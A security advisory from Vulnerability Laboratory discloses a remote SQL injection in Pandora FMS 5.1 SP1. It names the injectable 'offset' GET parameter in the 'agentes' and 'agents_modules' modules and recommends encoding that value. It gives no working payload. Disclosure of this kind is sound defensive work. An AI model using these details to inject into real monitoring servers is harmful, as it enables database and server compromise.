References (Source): ==================== http://vulnerability-lab.com/get_content.php?id=1355 Release Date: ============= 2015-02-09 Vulnerability Laboratory ID (VL-ID): ==================================== 1355 Common Vulnerability Scoring System: ==================================== 6.3 Product & Service Introduction: =============================== Pandora FMS is a monitoring Open Source software. It watches your systems and applications, and allows you to know the status of any element of those systems. Pandora FMS could detect a network interface down, a defacement in your website, a memory leak in one of your server application, or the movement of any value of the NASDAQ new technology market. * Detect new systems in network. * Checks for availability or performance. * Raise alerts when something goes wrong. * Allow to get data inside systems with its own lite agents (for almost every Operating System). * Allow to get data from outside, using only network probes. Including SNMP. * Get SNMP Traps from generic network devices. * Generate real time reports and graphics. * SLA reporting. * User defined graphical views. * Store data for months, ready to be used on reporting. * Real time graphs for every module. * High availability for each component. * Scalable and modular architecture. * Supports up to 2500 modules per server. * User defined alerts. Also could be used to react on incidents. * Integrated incident manager. * Integrated DB management: purge and DB compaction. * Multiuser, multi profile, multi group. * Event system with user validation for operation in teams. * Granularity of accesses and user profiles for each group and each user. * Profiles could be personalized using up to eight security attributes without limitation on groups or profiles. Pandora FMS runs on any operating system, with specific agents for each platform, gathering data and sending it to a server, it has specific agents for GNU/Linux, AIX, Solaris, HP-UX, BSD/IPSO, and Windows 2000, XP and 2003.

Vulnerability Disclosure Timeline: ================================== 2015-02-09: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Artica Sulociones Tecnologicas Product: Pandora FMS - Monitoring Web Application 5.1 SP1 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A remote sql injection web vulnerability has been discovered in the official Pandora FMS v5.1 SP1 monitoring web-application. The vulnerability allows remote attackers and low privileged application user accounts to unauthorized execute sql commands that compromise the affected monitoring web-application and dbms. The vulnerability is located in the offset value of the index list context module. Remote attackers and low privileged application user accounts are able to execute own sql commands via GET method request. The attacker can prepare a request through the `agentes` module to inject own sql commands on the affected web-application dbms. The security risk of the sql injection vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 6.3. Exploitation of the remote sql injection web vulnerability requires no user interaction and a low privileged web-application user account. Successful exploitation of the remote sql injection results in dbms, web-server and web-application compromise. Request Method(s): [+] GET Vulnerable Module(s): [+] agentes [+] agents_modules Vulnerable Parameter(s): [+] offset Proof of Concept (PoC): ======================= The sql injection web vulnerabilities can be exploited by local low privileged application user accounts in godmode without user interaction.

Encode and parse the vulnerable `offset` value in all the marked moduzles to prevent further executions or information disclosure. Security Risk: ============== The security risk of the remote sql injection vulnerabilitiy in the pandora fms application is estimated as high.
